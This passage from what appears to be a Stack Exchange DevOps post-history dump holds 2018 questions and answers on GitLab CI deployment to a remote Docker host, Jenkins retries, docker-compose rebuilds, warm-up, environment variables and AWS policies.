NGINX_IMAGE_REF: ${CI_REGISTRY_IMAGE}/nginx:${CI_BUILD_REF_NAME}&#xD;&#xA;      NGINX_IMAGE_LATEST: ${CI_REGISTRY_IMAGE}/nginx:latest&#xD;&#xA;      LETS_ENCRYPT_MAIL: &quot;security@example.com&quot;&#xD;&#xA;&#xD;&#xA;    # Cache composer dependencies&#xD;&#xA;    cache:&#xD;&#xA;      paths:&#xD;&#xA;      - api/vendor&#xD;&#xA;&#xD;&#xA;    #################################&#xD;&#xA;    ##   Scripts for development   ##&#xD;&#xA;    #################################&#xD;&#xA;&#xD;&#xA;    # Deploy development to staging&#xD;&#xA;    deploy-staging:&#xD;&#xA;      stage: deploy&#xD;&#xA;      image: tmaier/docker-compose&#xD;&#xA;      variables:&#xD;&#xA;        SERVERNAME: staging.example.com&#xD;&#xA;        EMAIL: $LETS_ENCRYPT_MAIL&#xD;&#xA;        STAGE_DOCKER_HOST: &quot;tcp://159.xxx.xxx.xxx:2376&quot;&#xD;&#xA;      cache: {}&#xD;&#xA;      dependencies: []&#xD;&#xA;      before_script:&#xD;&#xA;      # Echo env vars for LetsEncrypt into .env&#xD;&#xA;      - echo &quot;VIRTUAL_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_HOST=$SERVERNAME&quot; &gt;&gt; .env; echo &quot;LETSENCRYPT_EMAIL=$EMAIL&quot; &gt;&gt; .env; echo &quot;PHP_IMAGE=$PHP_IMAGE_REF&quot; &gt;&gt; .env; echo &quot;NGINX_IMAGE=$NGINX_IMAGE_REF&quot; &gt;&gt; .env&#xD;&#xA;      script:&#xD;&#xA;      # Login to gitlab registry&#xD;&#xA;      - docker login -u gitlab-ci-token -p ${CI_BUILD_TOKEN} registry.gitlab.com&#xD;&#xA;&#xD;&#xA;      # Setup connection to server&#xD;&#xA;      - mkdir -p ~/docker/certs&#xD;&#xA;      - echo ${STAGE_CA} &gt; ~/docker/certs/ca.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_CERT} &gt; ~/docker/certs/cert.pem&#xD;&#xA;      - echo ${STAGE_CLIENT_KEY} &gt; ~/docker/certs/key.pem&#xD;&#xA;&#xD;&#xA;      # Shutdown services&#xD;&#xA;      - docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (nginx) image&#xD;&#xA;      - docker rmi $NGINX_IMAGE_REF || echo &quot;nginx image not exist&quot;&#xD;&#xA;      - docker pull $NGINX_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Remove old and pull new (php+app) image&#xD;&#xA;      - docker rmi $PHP_IMAGE_REF || echo &quot;php image not exist&quot;&#xD;&#xA;      - docker pull $PHP_IMAGE_REF&#xD;&#xA;&#xD;&#xA;      # Recreate services&#xD;&#xA;      - docker-compose--file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem up -d&#xD;&#xA;      environment:&#xD;&#xA;        name: staging&#xD;&#xA;        url: https://staging.example.com&#xD;&#xA;      only:&#xD;&#xA;      - development&#xD;&#xA;&#xD;&#xA;Unfortunately does the above result in the following error and the pipeline does not succeed. When I run the command: `docker-compose --file docker-compose.prod.yml --verbose --host $STAGE_DOCKER_HOST --tlsverify --tlscacert ~/docker/certs/ca.pem --tlscert ~/docker/certs/cert.pem --tlskey ~/docker/certs/key.pem down -v` on my local windows machine it works using the same certificates.&#xD;&#xA;&#xD;&#xA;    urllib3.connectionpool._new_conn: Starting new HTTPS connection (1): 159.xxx.xxx.xxx&#xD;&#xA;    Traceback (most recent call last):&#xD;&#xA;      File &quot;/usr/bin/docker-compose&quot;, line 11, in &lt;module&gt;&#xD;&#xA;        sys.exit(main())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 71, in main&#xD;&#xA;        command()&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/main.py&quot;, line 124, in perform_command&#xD;&#xA;        project = project_from_options('.', options)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 41, in project_from_options&#xD;&#xA;        compatibility=options.get('--compatibility'),&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 121, in get_project&#xD;&#xA;        host=host, environment=environment&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/compose/cli/command.py&quot;, line 95, in get_client&#xD;&#xA;        version_info = six.iteritems(client.version())&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/daemon.py&quot;, line 181, in version&#xD;&#xA;        return self._result(self._get(url), json=True)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/utils/decorators.py&quot;, line 46, in inner&#xD;&#xA;        return f(self, *args, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/docker/api/client.py&quot;, line 198, in _get&#xD;&#xA;        return self.get(url, **self._set_request_timeout(kwargs))&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 521, in get&#xD;&#xA;        return self.request('GET', url, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 508, in request&#xD;&#xA;        resp = self.send(prep, **send_kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/sessions.py&quot;, line 618, in send&#xD;&#xA;        r = adapter.send(request, **kwargs)&#xD;&#xA;      File &quot;/usr/lib/python2.7/site-packages/requests/adapters.py&quot;, line 506, in send&#xD;&#xA;        raise SSLError(e, request=request)&#xD;&#xA;    requests.exceptions.SSLError: HTTPSConnectionPool(host='159.xxx.xxx.xxx', port=2376): Max retries exceeded with url: /v1.30/version (Caused by SSLError(SSLError(0, u'unknown error (_ssl.c:3027)'),))&#xD;&#xA;    ERROR: Job failed: exit code 1&#xD;&#xA;&#xD;&#xA;I'm farily new to devops, so:&#xD;&#xA;---&#xD;&#xA;1. what options do I have?&#xD;&#xA;2. is there another/better way to deploy docker images to a remote docker host?&#xD;&#xA;3. ~could I solve the problem by using my own runner?~ __Tried that. Results more or less in the same.__ &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jpetazzo/dind" ContentLicense="CC BY-SA 4.0" />
  <row Id="16359" PostHistoryTypeId="2" PostId="5173" RevisionGUID="1925c06a-61f0-48cd-8765-5ef6fdf1eb89" CreationDate="2018-10-12T15:17:21.663" UserId="10308" Text="I am using declarative pipeline syntax. I want to re trigger my build for 3 times if it fails. I want to add this step in my pipeline may be in post step:&#xD;&#xA;Something like below:&#xD;&#xA;&#xD;&#xA;        post { &#xD;&#xA;           failure{ &#xD;&#xA;               retrigger //try for 3 times atleast&#xD;&#xA;           }&#xD;&#xA;        } " ContentLicense="CC BY-SA 4.0" />
  <row Id="16360" PostHistoryTypeId="1" PostId="5173" RevisionGUID="1925c06a-61f0-48cd-8765-5ef6fdf1eb89" CreationDate="2018-10-12T15:17:21.663" UserId="10308" Text="Jenkins Retrigger When build fails" ContentLicense="CC BY-SA 4.0" />
  <row Id="16361" PostHistoryTypeId="3" PostId="5173" RevisionGUID="1925c06a-61f0-48cd-8765-5ef6fdf1eb89" CreationDate="2018-10-12T15:17:21.663" UserId="10308" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16362" PostHistoryTypeId="5" PostId="5170" RevisionGUID="a0f6bf8b-cf01-463e-907b-eb8155528baf" CreationDate="2018-10-12T15:30:23.113" UserId="40" Comment="deleted 97 characters in body" Text=" higher is more expensive:&#xD;&#xA;&#xD;&#xA;* distinct dev and ops sites &amp; methods to carry over work from one to the other&#xD;&#xA;* distinct dev and ops systems &amp; methods as above&#xD;&#xA;* distinct dev and ops git/vcs repositories &amp; related methods&#xD;&#xA;* distinct dev and ops git/vcs branches (protected) &amp; related methods&#xD;&#xA;&#xD;&#xA;Depending on what you do, some solutions are better than others, for example if you have the need to serve two teams with distinct roles within them and each having ownership within and provide full traceability, you are hovering over first three.&#xD;&#xA;&#xD;&#xA;In short, anything that enforces that one guy or gal cannot take the ball all alone and run with it, and s/he crosses a distinct explicit boundary among dev &amp; ops.&#xD;&#xA;Now, depending on the level of risk, that boundary might be enforced or not.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16363" PostHistoryTypeId="2" PostId="5174" RevisionGUID="a717d8c4-65ae-4fb3-8b2e-c4b38a8c107c" CreationDate="2018-10-12T16:34:57.920" UserId="10279" Text="I am using docker-compose to start 2 containers using the following **docker-compose.yaml**.&#xD;&#xA;&#xD;&#xA;    version: '2.4'&#xD;&#xA;    &#xD;&#xA;    services:&#xD;&#xA;      myservice1:&#xD;&#xA;        container_name: mycontainername&#xD;&#xA;        build: &#xD;&#xA;           context: .&#xD;&#xA;           dockerfile: ./my-dockerfolder/Dockerfile&#xD;&#xA;           args:       &#xD;&#xA;           - MY_ARG=${MY_ARG}&#xD;&#xA;        environment: &#xD;&#xA;           - MY_ARG=${MY_ARG}&#xD;&#xA;        mem_limit: 3500M&#xD;&#xA;        ports:&#xD;&#xA;        - &quot;9090:9090&quot;&#xD;&#xA;        extra_hosts:&#xD;&#xA;        - &quot;one.mydomain.net:127.0.0.1&quot;&#xD;&#xA;        - &quot;two.mydomain.net:127.0.0.1&quot;&#xD;&#xA;    &#xD;&#xA;        &#xD;&#xA;      myservice2:&#xD;&#xA;        container_name: myothercontainername&#xD;&#xA;        build: &#xD;&#xA;           context: .&#xD;&#xA;           dockerfile: ./other-dockerfolder/Dockerfile&#xD;&#xA;           args: &#xD;&#xA;           - BUILD=${BUILD}&#xD;&#xA;           - MY_ARG=${MY_ARG2}&#xD;&#xA;        environment: &#xD;&#xA;           - MY_ARG2=${MY_ARG2}&#xD;&#xA;        ports:&#xD;&#xA;        - &quot;2023:22&quot;&#xD;&#xA;&#xD;&#xA;My problem is that when I run **docker-compose up** again, it is using the same image to create the container, regardless of changes to the docker file.&#xD;&#xA;&#xD;&#xA;How can I force it to take changes to the docker file into account?&#xD;&#xA;&#xD;&#xA;Are other docker objects being reused that I need to be worried about?  I want the second time I run **docker-compose up** to be as clean an environment as the first time.&#xD;&#xA;&#xD;&#xA;note: I do not want to delete images that I do not need to delete.  I have a slow connection to the docker repo, and removeing all the images would make my **docker compose up** take ~22 minutes. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16364" PostHistoryTypeId="1" PostId="5174" RevisionGUID="a717d8c4-65ae-4fb3-8b2e-c4b38a8c107c" CreationDate="2018-10-12T16:34:57.920" UserId="10279" Text="How can I force Docker Compose to rebuild containers when dockerfile changes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16365" PostHistoryTypeId="3" PostId="5174" RevisionGUID="a717d8c4-65ae-4fb3-8b2e-c4b38a8c107c" CreationDate="2018-10-12T16:34:57.920" UserId="10279" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16366" PostHistoryTypeId="2" PostId="5175" RevisionGUID="938e701a-f3db-4b86-8515-1bc6aa9f46a1" CreationDate="2018-10-12T17:32:48.557" UserId="8554" Text="Why not `docker-compose build` ? &#xD;&#xA;&#xD;&#xA;https://docs.docker.com/compose/reference/build/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16367" PostHistoryTypeId="5" PostId="5175" RevisionGUID="01fd57e1-17c7-49aa-b84a-323046bc6d91" CreationDate="2018-10-12T17:43:57.540" UserId="8554" Comment="more options" Text="Why not `docker-compose build` ? &#xD;&#xA;&#xD;&#xA;https://docs.docker.com/compose/reference/build/&#xD;&#xA;&#xD;&#xA;You can also do `docker-compose up --build` to force a rebuild. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16368" PostHistoryTypeId="2" PostId="5176" RevisionGUID="d6b702be-98d0-4af5-a9c0-0819f59fdc50" CreationDate="2018-10-12T17:44:15.233" UserId="10281" Text="There doesn't seem to be a built in pipeline step to do this, and neither does there seem to be a existing plugin that works with pipelines. I'd recommend having a look at the stackoverflow answer: https://stackoverflow.com/a/46852240/1019835&#xD;&#xA;&#xD;&#xA;You can implement that code as a shared library, which would allow you to share your solution between projects. Have a look at this tutorial to do that: https://jenkins.io/doc/book/pipeline/shared-libraries/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16369" PostHistoryTypeId="2" PostId="5177" RevisionGUID="ad344b0f-3327-4a86-b587-2686bb88e130" CreationDate="2018-10-12T18:14:20.173" UserId="40" Text="There are a few questions that mention something about ***warm up***, such as:&#xD;&#xA;&#xD;&#xA;- https://devops.stackexchange.com/q/4851/40&#xD;&#xA;&#xD;&#xA;  &gt; ... to keep the container instance/VM ***warmed up***.&#xD;&#xA;&#xD;&#xA;- https://devops.stackexchange.com/q/1269/40&#xD;&#xA;&#xD;&#xA;  &gt; ... to ***warm up*** the autoscaling group to run jobs.&#xD;&#xA;&#xD;&#xA;What is this ***warm up*** thing? Is it something similar to &quot;being ready when some request comes in (e.g.  to preload things in memory, to prevent some sort of I/O operations)&quot;? If not what could be a good comparison to explain it to a novice?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16370" PostHistoryTypeId="1" PostId="5177" RevisionGUID="ad344b0f-3327-4a86-b587-2686bb88e130" CreationDate="2018-10-12T18:14:20.173" UserId="40" Text="What is warm(ing) up?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16371" PostHistoryTypeId="3" PostId="5177" RevisionGUID="ad344b0f-3327-4a86-b587-2686bb88e130" CreationDate="2018-10-12T18:14:20.173" UserId="40" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16373" PostHistoryTypeId="2" PostId="5178" RevisionGUID="d9d7e738-7a05-4e3c-bc92-95508fbd5435" CreationDate="2018-10-13T04:13:04.130" UserId="8251" Text="All container services and Function-As-a-Service services of the big cloud providers, such as Amazon ECS, Lambda and Azure cloud functions run on actual virtual machines of these providers. Normally they only take a small number of milliseconds to start up, but when your container or function has not run for a certain amount of time, they will take a couple of seconds to actually start up the virtualization environment for your container or function. These startup times improve all the time, but you still get better startup time results by calling your functions or a request in your container in regular intervals.&#xD;&#xA;&#xD;&#xA;A typical interval could be every minute, so that you can be sure that the virtual environment the container or function runs on has likely not been shut down, as it just was in use in the past 60 seconds.&#xD;&#xA;&#xD;&#xA;In relation to an auto scaling group, I would say that &quot;warm up&quot; is a bit of a mis-nomer. Either there are enough instances provisioned to handle the traffic you expect, or you may need to make a 'scheduled change' to the number of instances, but there is actually nothing to warm the instances up.&#xD;&#xA;&#xD;&#xA;One edge-case would be if instances have disk contents restored from backup. On AWS, there is some delay in getting the contents on these disk from snapshot and the disk can be warmed up by reading all blocks on it" ContentLicense="CC BY-SA 4.0" />
  <row Id="16374" PostHistoryTypeId="2" PostId="5179" RevisionGUID="f37a9b10-10f6-471c-bd9e-22a217e3684a" CreationDate="2018-10-13T04:39:05.987" UserId="10285" Text="Use this command: docker-compose up --no-cache" ContentLicense="CC BY-SA 4.0" />
  <row Id="16375" PostHistoryTypeId="2" PostId="5180" RevisionGUID="263e2486-5c76-41ed-9042-1b2fefb076f2" CreationDate="2018-10-13T05:29:20.973" UserId="47" Text="In the Google App Engine PaaS context, standard environment apps using automatic scaling can use warmup requests to keep request latency/response time down even during traffic peaks requiring new instances to be started. From [Warmup requests][1]:&#xD;&#xA;&#xD;&#xA;&gt; Warmup requests are a specific type of loading request that load&#xD;&#xA;&gt; application code into an instance ahead of time, before any live&#xD;&#xA;&gt; requests are made. Manual or basic scaling instances do not receive an&#xD;&#xA;&gt; `/_ah/warmup` request.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To learn more about how to use warmup requests, see [Configuring&#xD;&#xA;&gt; warmup requests][2].&#xD;&#xA;&#xD;&#xA;Without warmup requests configured instances would be started only in response to actual/live requests which are already routed to the new instance (which isn't yet ready). Meaning that the response time for those requests would be increased with the actual instance startup time. &#xD;&#xA;&#xD;&#xA;With warmup requests configured the live requests keep being handled by instances already running while the new instances are being started (by the warmup requests). Only after the new instance is up and running (indicated by successful handling the warmup request) the scheduler will start routing live requests to it.&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/appengine/docs/standard/python/how-instances-are-managed#warmup_requests&#xD;&#xA;  [2]: https://cloud.google.com/appengine/docs/standard/python/warmup-requests/configuring" ContentLicense="CC BY-SA 4.0" />
  <row Id="16376" PostHistoryTypeId="5" PostId="2919" RevisionGUID="ca86801d-8f40-4ba5-aebc-2bef5048d768" CreationDate="2018-10-13T08:04:18.180" UserId="40" Comment="added 485 characters in body" Text="A technique we've used in the past in similar situations is to get &quot;management commitment&quot; that imposes these rules to every team member:&#xD;&#xA;&#xD;&#xA;1. Access to perform updates to the target deployment areas (i.e. production) is limited to selected automated systems, which have appropriate audit trails (= logging) of any kind of updates to the areas they manage.&#xD;&#xA;&#xD;&#xA;2. Manual updates to the target deployment areas, for whatever reason, are no longer allowed by the typical team members (user ids) that used to be able (authorized) to perform these updates. Instead NEW (additional) user IDs will be created which will have all required permissions to (still) perform such manual updates, whenever needed. But to actually be able to use those new user IDs (= perform a logon with them), the team member who wants to perform a logon with such new user ID will have to perform &quot;some&quot; extra step to get access to the password for such new user Id. Ideally this extra step is automated also (use your own imagination how it should look like), but if anything else fails: just contact (= eMail, call, etc) the gate-keeper of the required password, including  &quot;which issue they have to get fixed&quot; (similar to your question).&#xD;&#xA;3. Getting such gate-keeper in place is not an easy job. And the most resistance will come from ... the team members (for all sorts of reasons). Therefor a variation of those new user IDs (as in the previous step) is that each team member gets an extra user ID (with the password they decide themselves), but with an extra string attached to it: they are only allowed to perform a logon with that (extra) user ID if they actualy have a good reason to do so. And each time they perform such logon, they are required to file some type of report about &quot;which issue they fixed&quot; (similar to your question).&#xD;&#xA;&#xD;&#xA;With these procedures in place, all that's left to do is to periodically review each of those reports / reasons why it was required to use such special user ID, and ask the question &quot;*Is there anything that can be done to further automate this, to further reduce the need for such special login?*&quot;.&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;&#xD;&#xA;Quote from your extra comment below this answer:&#xD;&#xA;&#xD;&#xA;&gt; I think adding artificial barriers to fixing a deployment issue is counter-productive.&#xD;&#xA;&#xD;&#xA;True it adds an extra barrier, but I'm not conviced it is &quot;artificial&quot;. Because this is, to my knowledge, the only way to become aware of things those team members otherwise won't ever tell you, for reasons such as:&#xD;&#xA;&#xD;&#xA;- job security.&#xD;&#xA;- bad things/practises they prefer to keep hidden.&#xD;&#xA;- power they do not want to loose." ContentLicense="CC BY-SA 4.0" />
  <row Id="16377" PostHistoryTypeId="50" PostId="4306" RevisionGUID="5fb947d5-6f34-4ffd-a74b-48940c68cece" CreationDate="2018-10-13T18:00:44.263" UserId="-1" />
  <row Id="16378" PostHistoryTypeId="50" PostId="3999" RevisionGUID="d1bfb965-472f-4adc-9053-9f52b969e4e1" CreationDate="2018-10-13T23:00:20.860" UserId="-1" />
  <row Id="16387" PostHistoryTypeId="2" PostId="5183" RevisionGUID="532de263-1c71-4831-9973-4869b8b14cf8" CreationDate="2018-10-15T11:16:55.730" UserId="7118" Text="The context is that I'm looking at doing staging/testing and production on a  kubernetes cluster. &#xD;&#xA;&#xD;&#xA;Where I might have some code that looks like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    doSomething({&#xD;&#xA;      username: process.env.DB_USERNAME,&#xD;&#xA;      password: process.env.DB_PASSWORD&#xD;&#xA;    })&#xD;&#xA;&#xD;&#xA;For my various kubernetes environments, this isn't going to be a problem, as I those environment variables can be set specifically for the environment. &#xD;&#xA;&#xD;&#xA;However, for my development environment, there's a good chance that I'm going to have multiple projects, (or even different images for the same project) that all have a environment variable named `DB_URL`. &#xD;&#xA;&#xD;&#xA;One solution would be to just prefix all environment variables with `MY_APPLICATION_NAME_`. &#xD;&#xA;&#xD;&#xA;Another would be not permanently set environment environment variables, but instead to just call a script that sets them when needed. But that sounds a little messy. &#xD;&#xA;&#xD;&#xA;I'm wondering if there's a well established way that deals with this problem. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16388" PostHistoryTypeId="1" PostId="5183" RevisionGUID="532de263-1c71-4831-9973-4869b8b14cf8" CreationDate="2018-10-15T11:16:55.730" UserId="7118" Text="Environment variable names, when my development environmental has multiple projects." ContentLicense="CC BY-SA 4.0" />
  <row Id="16389" PostHistoryTypeId="3" PostId="5183" RevisionGUID="532de263-1c71-4831-9973-4869b8b14cf8" CreationDate="2018-10-15T11:16:55.730" UserId="7118" Text="&lt;environment-variables&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16390" PostHistoryTypeId="2" PostId="5184" RevisionGUID="c92979c9-2302-443f-987e-f0cb35855850" CreationDate="2018-10-15T15:36:10.620" UserId="10345" Text="I want to deploy AWS lambda written in NODEJS. And I have sensitive variables that can't be disclosed in AWS lambda variables section. Is there a way to deploy lambda with an encrypted variable which no one can see and can't be decrypted from the machine which was used to deploy the lambda. Only some other user who has the key should be able to decrypt the variable. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16391" PostHistoryTypeId="1" PostId="5184" RevisionGUID="c92979c9-2302-443f-987e-f0cb35855850" CreationDate="2018-10-15T15:36:10.620" UserId="10345" Text="Deploying lambda conceiving sensitive variables using serverless" ContentLicense="CC BY-SA 4.0" />
  <row Id="16392" PostHistoryTypeId="3" PostId="5184" RevisionGUID="c92979c9-2302-443f-987e-f0cb35855850" CreationDate="2018-10-15T15:36:10.620" UserId="10345" Text="&lt;serverless&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16393" PostHistoryTypeId="2" PostId="5185" RevisionGUID="6a075e55-8a9a-48ce-9e99-d61b5cb28cd8" CreationDate="2018-10-15T16:51:12.977" UserId="228" Text="Not sure if this is the first, but it surely won't be the last time. Having a script that starts a new shell (new container, new VM) with environment setup for the development of the project you will be working on next is something you will definitely need in the future. If there are multiple people collaborating, it is even more important. If you get into the habit of using it now, future changes will be easier.&#xD;&#xA;&#xD;&#xA;The reason why you set it in new shell (container/VM) is that you can easily exit to unset the environment and enter a new one for a different project and because you might need to set a different user or group memberships for the project." ContentLicense="CC BY-SA 4.0" />
  <row Id="16394" PostHistoryTypeId="5" PostId="5183" RevisionGUID="fe098957-58cc-4d57-b13e-d42b2c7c6aa1" CreationDate="2018-10-15T16:53:11.987" UserId="228" Comment="spelling; edited tags" Text="The context is that I'm looking at doing staging/testing and production on a  kubernetes cluster. &#xD;&#xA;&#xD;&#xA;Where I might have some code that looks like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    doSomething({&#xD;&#xA;      username: process.env.DB_USERNAME,&#xD;&#xA;      password: process.env.DB_PASSWORD&#xD;&#xA;    })&#xD;&#xA;&#xD;&#xA;For my various kubernetes environments, this isn't going to be a problem, as those environment variables can be set specifically for the environment. &#xD;&#xA;&#xD;&#xA;However, for my development environment, there's a good chance that I'm going to have multiple projects, (or even different images for the same project) that all have a environment variable named `DB_URL`. &#xD;&#xA;&#xD;&#xA;One solution would be to just prefix all environment variables with `MY_APPLICATION_NAME_`. &#xD;&#xA;&#xD;&#xA;Another would be not permanently set environment variables, but instead to just call a script that sets them when needed. But that sounds a little messy. &#xD;&#xA;&#xD;&#xA;I'm wondering if there's a well established way that deals with this problem. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16395" PostHistoryTypeId="4" PostId="5183" RevisionGUID="fe098957-58cc-4d57-b13e-d42b2c7c6aa1" CreationDate="2018-10-15T16:53:11.987" UserId="228" Comment="spelling; edited tags" Text="Environment variable names, when my development environment has multiple projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="16396" PostHistoryTypeId="6" PostId="5183" RevisionGUID="fe098957-58cc-4d57-b13e-d42b2c7c6aa1" CreationDate="2018-10-15T16:53:11.987" UserId="228" Comment="spelling; edited tags" Text="&lt;environment-variables&gt;&lt;development-environment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16397" PostHistoryTypeId="2" PostId="5186" RevisionGUID="cbcde1b3-22c5-468a-b646-aea4a983b383" CreationDate="2018-10-15T17:30:50.243" UserId="10348" Text="The args elements themselves need to be a string&#xD;&#xA;&#xD;&#xA;      args:&#xD;&#xA;        - 'MAVEN_USER=$MAVEN_USER'&#xD;&#xA;        - 'MAVEN_PASSWORD=$MAVEN_PASSWORD'" ContentLicense="CC BY-SA 4.0" />
  <row Id="16398" PostHistoryTypeId="50" PostId="4748" RevisionGUID="b44a01df-66b3-4139-bf3a-a3d9cf8302de" CreationDate="2018-10-15T18:00:15.850" UserId="-1" />
  <row Id="16402" PostHistoryTypeId="50" PostId="1832" RevisionGUID="d251deb6-8d96-4eff-86eb-79abde173e18" CreationDate="2018-10-16T04:02:58.083" UserId="-1" />
  <row Id="16404" PostHistoryTypeId="50" PostId="4312" RevisionGUID="c994463e-bbbe-4a2f-bedf-c7300524fc42" CreationDate="2018-10-16T06:00:09.397" UserId="-1" />
  <row Id="16405" PostHistoryTypeId="2" PostId="5188" RevisionGUID="b96eb757-8b92-4f07-b9c0-12c2f34989e1" CreationDate="2018-10-16T06:44:45.883" UserId="7370" Text="You can draw some inspiration from SAP S/4HANA cloud Sdk out of the box CI/CD. https://blogs.sap.com/2017/09/20/continuous-integration-and-delivery/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16406" PostHistoryTypeId="2" PostId="5189" RevisionGUID="79a25c9c-1eac-4bb6-b8a0-62b547494a97" CreationDate="2018-10-16T06:59:59.200" UserId="7370" Text="    pipeline{&#xA;    agent any &#xA;    stages{ &#xA;      stage(“Tests”) {&#xA;                 when { expression { beanch==“master”} }&#xA;                  steps { echo “FUT”}&#xA;            }&#xA;       }&#xA;    }&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="16407" PostHistoryTypeId="50" PostId="3552" RevisionGUID="395ff8e0-fb5a-4873-ab15-d84a9ea28338" CreationDate="2018-10-16T07:00:40.327" UserId="-1" />
  <row Id="16408" PostHistoryTypeId="2" PostId="5190" RevisionGUID="c4fdb2fd-6d2d-4547-b229-e75fe167a6d6" CreationDate="2018-10-16T09:01:57.163" UserId="707" Text="There are quite many possibilities to configure AWS policies; Amazon has therefore provided [policies for job functions][1].&#xD;&#xA;&#xD;&#xA;Now is it anyhow possible to sneak into JSON code of these policies to learn in detauls what they do and use them as foundation for own policies along their lines?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16409" PostHistoryTypeId="1" PostId="5190" RevisionGUID="c4fdb2fd-6d2d-4547-b229-e75fe167a6d6" CreationDate="2018-10-16T09:01:57.163" UserId="707" Text="Understanding and tweaking AWS policies for job functions" ContentLicense="CC BY-SA 4.0" />
  <row Id="16410" PostHistoryTypeId="3" PostId="5190" RevisionGUID="c4fdb2fd-6d2d-4547-b229-e75fe167a6d6" CreationDate="2018-10-16T09:01:57.163" UserId="707" Text="&lt;amazon-web-services&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16411" PostHistoryTypeId="5" PostId="5179" RevisionGUID="32361bef-9875-46fb-9f08-c8348c20a91d" CreationDate="2018-10-16T09:15:17.657" UserId="10285" Comment="deleted 3 characters in body" Text="Use this command: docker-compose up --build" ContentLicense="CC BY-SA 4.0" />
  <row Id="16412" PostHistoryTypeId="5" PostId="2195" RevisionGUID="6e9a28bc-b9b6-420a-b008-aa8e911f707c" CreationDate="2018-10-16T09:28:58.847" UserId="707" Comment="typo in question body" Text="Working with DevOps toolchains requires switching contexts between code, dashboards and command line terminals (local and remote). That is just for one project - and many of us work in more than one.&#xD;&#xA;&#xD;&#xA;To reduce switching and navigating, folks and me too use more and more monitors - 4K (UHD) is a welcomed technology.&#xD;&#xA;&#xD;&#xA;Say altogether, a set of windows and terminals for a context is a DevOps viewport (or maybe there is a better word).&#xD;&#xA;&#xD;&#xA;Now, what are - if any - convenient means to &quot;script&quot; windows/terminals configurations as a CasC (Configuration as Code) artefact so you could easily load and switch your CI/CD environment viewports? &#xD;&#xA;&#xD;&#xA; - Windows 10 environment?&#xD;&#xA; - Ubuntu Linux environent?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16413" PostHistoryTypeId="2" PostId="5191" RevisionGUID="36ef3a4b-8937-4a4b-af54-df0d63771040" CreationDate="2018-10-16T09:48:31.347" UserId="707" Text="Job function related policies are visible among all others and their JSON can be show there as well.&#xD;&#xA;&#xD;&#xA;https://console.aws.amazon.com/iam/home#/policies" ContentLicense="CC BY-SA 4.0" />
  <row Id="16414" PostHistoryTypeId="5" PostId="5191" RevisionGUID="259039cd-8791-442e-9a34-28e66fd3309d" CreationDate="2018-10-16T13:35:11.690" UserId="707" Comment="added 1 character in body" Text="Job function related policies are visible among all others and their JSON can be shown there as well.&#xD;&#xA;&#xD;&#xA;https://console.aws.amazon.com/iam/home#/policies" ContentLicense="CC BY-SA 4.0" />
